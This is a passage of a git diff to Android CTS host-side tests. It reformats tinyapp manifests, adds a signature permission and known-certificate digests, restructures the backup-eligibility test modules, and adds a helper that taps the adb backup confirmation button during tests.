+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.appsecurity.cts.tinyapp"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
+
+    <permission android:name="android.appsecurity.cts.tinyapp.perm"
+         android:protectionLevel="signature" />
+
+    <application android:label="@string/app_name">
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-sandbox-v1.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-sandbox-v1.xml
index 8ca3557..e9e7c8c 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-sandbox-v1.xml
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-sandbox-v1.xml
@@ -13,18 +13,19 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.appsecurity.cts.tinyapp"
-        android:versionCode="10"
-        android:versionName="1.0"
-        android:targetSandboxVersion="1">
+     package="android.appsecurity.cts.tinyapp"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="1">
     <application android:label="@string/app_name">
-        <activity
-                android:name=".MainActivity"
-                android:label="@string/app_name" >
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-shareduid.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-shareduid.xml
index 2c4d3d9..6591656 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-shareduid.xml
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-shareduid.xml
@@ -13,19 +13,20 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.appsecurity.cts.tinyapp"
-        android:sharedUserId="android.appsecurity.cts.tinyapp.shareduser"
-        android:versionCode="10"
-        android:versionName="1.0"
-        android:targetSandboxVersion="2">
+     package="android.appsecurity.cts.tinyapp"
+     android:sharedUserId="android.appsecurity.cts.tinyapp.shareduser"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
     <application android:label="@string/app_name">
-        <activity
-                android:name=".MainActivity"
-                android:label="@string/app_name" >
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-uses-knownSigner.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-uses-knownSigner.xml
new file mode 100644
index 0000000..05d7314
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-uses-knownSigner.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.appsecurity.cts.tinyapp_companion"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.appsecurity.cts.tinyapp.perm" />
+
+    <application android:label="@string/app_name">
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-v2.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-v2.xml
index ef62aac..2c94a97 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-v2.xml
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-v2.xml
@@ -14,18 +14,19 @@
   ~ See the License for the specific language governing permissions and
   ~ limitations under the License.
   -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.appsecurity.cts.tinyapp"
-        android:versionCode="20"
-        android:versionName="2.0"
-        android:targetSandboxVersion="2">
+     package="android.appsecurity.cts.tinyapp"
+     android:versionCode="20"
+     android:versionName="2.0"
+     android:targetSandboxVersion="2">
     <application android:label="@string/app_name">
-        <activity
-                android:name=".MainActivity"
-                android:label="@string/app_name" >
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest.xml
index 1ead3a2..39217ec 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest.xml
@@ -13,18 +13,19 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.appsecurity.cts.tinyapp"
-        android:versionCode="10"
-        android:versionName="1.0"
-        android:targetSandboxVersion="2">
+     package="android.appsecurity.cts.tinyapp"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
     <application android:label="@string/app_name">
-        <activity
-                android:name=".MainActivity"
-                android:label="@string/app_name" >
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/OWNERS b/hostsidetests/appsecurity/test-apps/tinyapp/OWNERS
new file mode 100644
index 0000000..6c01723
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 36824
+mpgroover@google.com
+cbrubaker@google.com
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/tinyapp/res/values/strings.xml
index 70d5a95..c0ace2b 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/res/values/strings.xml
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/res/values/strings.xml
@@ -1,4 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
 <resources>
     <string name="app_name">Tiny App for CTS</string>
+    <string name="known_cert_ec-p256_1">6a8b96e278e58f62cfe3584022cec1d0527fcb85a9e5d2e1694eb0405be5b599</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/res/values/values.xml b/hostsidetests/appsecurity/test-apps/tinyapp/res/values/values.xml
new file mode 100644
index 0000000..283572f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/res/values/values.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <string-array name="known_certs_ec-p256_1-3">
+      <item>6a8b96e278e58f62cfe3584022cec1d0527fcb85a9e5d2e1694eb0405be5b599</item>
+      <item>9369370ffcfdc1e92dae777252c05c483b8cbb55fa9d5fd9f6317f623ae6d8c6</item>
+    </string-array>
+</resources>
diff --git a/hostsidetests/atrace/Android.bp b/hostsidetests/atrace/Android.bp
index 77df10b..380e55b 100644
--- a/hostsidetests/atrace/Android.bp
+++ b/hostsidetests/atrace/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsAtraceHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/atrace/AtraceTestApp/Android.bp b/hostsidetests/atrace/AtraceTestApp/Android.bp
index b482764..88ef404 100644
--- a/hostsidetests/atrace/AtraceTestApp/Android.bp
+++ b/hostsidetests/atrace/AtraceTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAtraceTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml b/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml
index 2f213ab..c60f51c 100644
--- a/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml
+++ b/hostsidetests/atrace/AtraceTestApp/AndroidManifest.xml
@@ -13,19 +13,21 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-       package="com.android.cts.atracetestapp"
-       android:targetSandboxVersion="2">
+     package="com.android.cts.atracetestapp"
+     android:targetSandboxVersion="2">
     <!--
-    A simple app with a tracing section to test that apps tracing signals are
-    emitted by atrace.
-    -->
+            A simple app with a tracing section to test that apps tracing signals are
+            emitted by atrace.
+            -->
     <application>
-        <activity android:name=".AtraceTestAppActivity">
+        <activity android:name=".AtraceTestAppActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <!-- Profileable to enable tracing -->
@@ -33,5 +35,5 @@
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.atracetestapp" />
+         android:targetPackage="com.android.cts.atracetestapp"/>
 </manifest>
diff --git a/hostsidetests/atrace/AtraceTestApp/jni/Android.bp b/hostsidetests/atrace/AtraceTestApp/jni/Android.bp
index 5343a93..70b47a7 100644
--- a/hostsidetests/atrace/AtraceTestApp/jni/Android.bp
+++ b/hostsidetests/atrace/AtraceTestApp/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctstrace_jni",
     gtest: false,
diff --git a/hostsidetests/backup/AdbBackupApp/Android.bp b/hostsidetests/backup/AdbBackupApp/Android.bp
new file mode 100644
index 0000000..089dd4a
--- /dev/null
+++ b/hostsidetests/backup/AdbBackupApp/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// An app that contains helper procedures to run 'adb backup' / 'adb restore'
+android_test_helper_app {
+    name: "AdbBackupApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+        "ub-uiautomator",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/AdbBackupApp/AndroidManifest.xml b/hostsidetests/backup/AdbBackupApp/AndroidManifest.xml
new file mode 100644
index 0000000..1d65109
--- /dev/null
+++ b/hostsidetests/backup/AdbBackupApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.adbbackupapp">
+
+    <application android:label="AdbBackupApp"/>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.adbbackupapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/AdbBackupApp/src/android/cts/backup/adbbackupapp/AdbBackupApp.java b/hostsidetests/backup/AdbBackupApp/src/android/cts/backup/adbbackupapp/AdbBackupApp.java
new file mode 100644
index 0000000..44e6a2a
--- /dev/null
+++ b/hostsidetests/backup/AdbBackupApp/src/android/cts/backup/adbbackupapp/AdbBackupApp.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.adbbackupapp;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Provides device side routines for running {@code adb backup}. To be invoked by the host side
+ * {@link BackupEligibilityHostSideTest}. These are not designed to be called in any other
+ * way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class AdbBackupApp {
+    private static final int CONFIRM_DIALOG_TIMEOUT_MS = 30000;
+
+    @Test
+    public void clickAdbBackupConfirmButton() throws Exception {
+        UiDevice device = UiDevice.getInstance(getInstrumentation());
+        BySelector confirmButtonSelector = By.res("com.android.backupconfirm:id/button_allow");
+        UiObject2 confirmButton =
+                device.wait(Until.findObject(confirmButtonSelector), CONFIRM_DIALOG_TIMEOUT_MS);
+
+        assertNotNull("confirm button not found", confirmButton);
+        assumeTrue(confirmButton.isEnabled());
+
+        confirmButton.click();
+    }
+}
diff --git a/hostsidetests/backup/AllowBackup/Android.bp b/hostsidetests/backup/AllowBackup/Android.bp
deleted file mode 100644
index 7b13227..0000000
--- a/hostsidetests/backup/AllowBackup/Android.bp
+++ /dev/null
@@ -1,27 +0,0 @@
-// Copyright (C) 2017 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-java_library {
-    name: "CtsAllowBackupLib",
-    srcs: ["src/**/*.java"],
-    static_libs: [
-        "androidx.test.rules",
-        "platform-test-annotations",
-    ],
-    sdk_version: "current",
-}
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp b/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp
deleted file mode 100644
index d6f3479..0000000
--- a/hostsidetests/backup/AllowBackup/BackupAllowedApp/Android.bp
+++ /dev/null
@@ -1,29 +0,0 @@
-// Copyright (C) 2017 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "BackupAllowedApp",
-    defaults: ["cts_defaults"],
-    static_libs: ["CtsAllowBackupLib"],
-    // tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-    sdk_version: "current",
-}
diff --git a/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
deleted file mode 100644
index c79b87c..0000000
--- a/hostsidetests/backup/AllowBackup/BackupAllowedApp/AndroidManifest.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2017 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.backup.backupnotallowedapp">
-
-    <application android:label="BackupAllowedApp">
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.cts.backup.backupnotallowedapp" />
-
-</manifest>
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp
deleted file mode 100644
index 68adaef..0000000
--- a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/Android.bp
+++ /dev/null
@@ -1,29 +0,0 @@
-// Copyright (C) 2017 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "BackupNotAllowedApp",
-    defaults: ["cts_defaults"],
-    static_libs: ["CtsAllowBackupLib"],
-    // tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-    sdk_version: "current",
-}
diff --git a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml b/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
deleted file mode 100644
index 57efe7c..0000000
--- a/hostsidetests/backup/AllowBackup/BackupNotAllowedApp/AndroidManifest.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2017 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.cts.backup.backupnotallowedapp">
-
-    <application android:label="BackupNotAllowedApp"
-        android:allowBackup="false">
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.cts.backup.backupnotallowedapp" />
-
-</manifest>
diff --git a/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java b/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
deleted file mode 100644
index ed65e73..0000000
--- a/hostsidetests/backup/AllowBackup/src/AllowBackupTest.java
+++ /dev/null
@@ -1,131 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup.backupnotallowedapp;
-
-import static androidx.test.InstrumentationRegistry.getTargetContext;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import android.content.Context;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.BufferedOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.Random;
-
-/**
- * Device side routines to be invoked by the host side AllowBackupHostSideTest. These are not
- * designed to be called in any other way, as they rely on state set up by the host side test.
- *
- */
-@RunWith(AndroidJUnit4.class)
-@AppModeFull
-public class AllowBackupTest {
-    public static final String TAG = "AllowBackupCTSApp";
-    private static final int FILE_SIZE_BYTES = 1024 * 1024;
-
-    private Context mContext;
-
-    private File mDoBackupFile;
-    private File mDoBackupFile2;
-
-    @Before
-    public void setUp() {
-        mContext = getTargetContext();
-        setupFiles();
-    }
-
-    private void setupFiles() {
-        File filesDir = mContext.getFilesDir();
-        File normalFolder = new File(filesDir, "normal_folder");
-
-        mDoBackupFile = new File(filesDir, "file_to_backup");
-        mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
-    }
-
-    @Test
-    public void createFiles() throws Exception {
-        // Make sure the data does not exist from before
-        deleteAllFiles();
-        assertNoFilesExist();
-
-        // Create test data
-        generateFiles();
-        assertAllFilesExist();
-
-        Log.d(TAG, "Test files created: \n"
-                + mDoBackupFile.getAbsolutePath() + "\n"
-                + mDoBackupFile2.getAbsolutePath());
-    }
-
-    @Test
-    public void checkNoFilesExist() throws Exception {
-        assertNoFilesExist();
-    }
-
-    @Test
-    public void checkAllFilesExist() throws Exception {
-        assertAllFilesExist();
-    }
-
-    private void generateFiles() {
-        try {
-            // Add data to all the files we created
-            addData(mDoBackupFile);
-            addData(mDoBackupFile2);
-            Log.d(TAG, "Files generated!");
-        } catch (IOException e) {
-            Log.e(TAG, "Unable to generate files", e);
-        }
-    }
-
-    private void deleteAllFiles() {
-        mDoBackupFile.delete();
-        mDoBackupFile2.delete();
-        Log.d(TAG, "Files deleted!");
-    }
-
-    private void addData(File file) throws IOException {
-        file.getParentFile().mkdirs();
-        byte[] bytes = new byte[FILE_SIZE_BYTES];
-        new Random().nextBytes(bytes);
-
-        try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file))) {
-            bos.write(bytes, 0, bytes.length);
-        }
-    }
-
-    private void assertAllFilesExist() {
-        assertTrue("File in 'files' did not exist!", mDoBackupFile.exists());
-        assertTrue("File in folder inside 'files' did not exist!", mDoBackupFile2.exists());
-    }
-
-    private void assertNoFilesExist() {
-        assertFalse("File in 'files' did exist!", mDoBackupFile.exists());
-        assertFalse("File in folder inside 'files' did exist!", mDoBackupFile2.exists());
-    }
-}
diff --git a/hostsidetests/backup/Android.bp b/hostsidetests/backup/Android.bp
index 15d9880..2beef69 100644
--- a/hostsidetests/backup/Android.bp
+++ b/hostsidetests/backup/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsBackupHostTestCases",
     srcs: ["src/**/*.java"],
@@ -24,6 +20,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     libs: [
         "cts-tradefed",
diff --git a/hostsidetests/backup/AutoRestoreApp/Android.bp b/hostsidetests/backup/AutoRestoreApp/Android.bp
index 58b58dd..0d769d5 100644
--- a/hostsidetests/backup/AutoRestoreApp/Android.bp
+++ b/hostsidetests/backup/AutoRestoreApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAutoRestoreApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/backup/BackupEligibility/Android.bp b/hostsidetests/backup/BackupEligibility/Android.bp
new file mode 100644
index 0000000..39ce56f
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "CtsAllowBackupLib",
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/BackupEligibility/BackupAllowedApp/Android.bp b/hostsidetests/backup/BackupEligibility/BackupAllowedApp/Android.bp
new file mode 100644
index 0000000..9d6254c
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/BackupAllowedApp/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "BackupAllowedApp",
+    defaults: ["cts_defaults"],
+    static_libs: ["CtsAllowBackupLib"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/BackupEligibility/BackupAllowedApp/AndroidManifest.xml b/hostsidetests/backup/BackupEligibility/BackupAllowedApp/AndroidManifest.xml
new file mode 100644
index 0000000..9c416cc
--- /dev/null
+++ b/hostsidetests/backup/BackupEligibility/BackupAllowedApp/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
